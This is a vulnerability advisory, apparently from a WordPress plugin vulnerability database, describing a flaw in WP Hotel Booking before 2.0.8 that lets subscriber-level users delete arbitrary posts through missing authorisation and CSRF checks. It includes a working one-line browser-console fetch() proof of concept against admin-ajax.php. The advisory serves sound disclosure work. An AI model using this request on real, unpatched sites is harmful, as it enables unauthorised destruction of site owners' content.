WordPress Plugin Vulnerabilities

WP Hotel Booking < 2.0.8 - Subscriber+ Arbitrary Post Deletion

Description

The plugin does not have authorisation and CSRF checks, as well as does not ensure that the package to be deleted is a package, allowing any authenticated users, such as subscriber to delete arbitrary posts

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user. This will put the post with ID 1 in the trash. Run it again to then delete the post

fetch("/wp-admin/admin-ajax.php", {"headers": {"content-type": "application/x-www-form-urlencoded; charset=UTF-8"},"body": 'action=tp_extra_package_remove&package_id=1',"method": "POST"});

Affects Plugins

Fixed in 2.0.8

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-10-26 (about 6 months ago)
Added
2023-10-26 (about 6 months ago)
Last Updated
2023-10-26 (about 6 months ago)

Other